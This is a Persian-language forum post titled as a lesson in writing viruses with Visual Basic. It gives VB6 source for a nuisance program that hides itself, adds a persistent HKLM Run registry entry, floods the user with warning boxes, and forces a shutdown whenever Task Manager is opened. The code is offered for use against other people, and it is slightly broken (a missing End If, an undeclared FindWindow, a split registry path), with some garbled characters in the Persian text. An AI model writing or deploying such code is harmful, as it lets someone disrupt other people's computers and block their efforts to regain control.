ویروس نویسی با ویژوال بیسیک

[ar6iya 2]

وستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختل??ی داره .از جمله این که به یارو ب??همونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)

ویروس این د??عه بصورتیه که یه اخطار میاد بالا به کاربر میگه ??لان کار رو نکن و اگه کاربر این کار رو کرد خب مام می??تیم به جونش دیگه

وسایل لازم: ??قط یه تایمر مثل همیشه!

کدها:

Private Sub Form_Load()

App.TaskVisible = False

timer1.interval=1

Me.Hide

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Timer1.Interval = 1

End Sub

Private Sub Timer1_Timer()

MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"

Dim handel As Long

handel = FindWindow(vbNullString, "Windows Task Manager")

If handel <> 0 Then

Shell "shutdown -s -t 2 "

End Sub

 

و اما توضیحات:

خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه

[Boy_Wacker 0]

خوب بود ولی هرچی جای خودش.منبع هم یادت ر??ته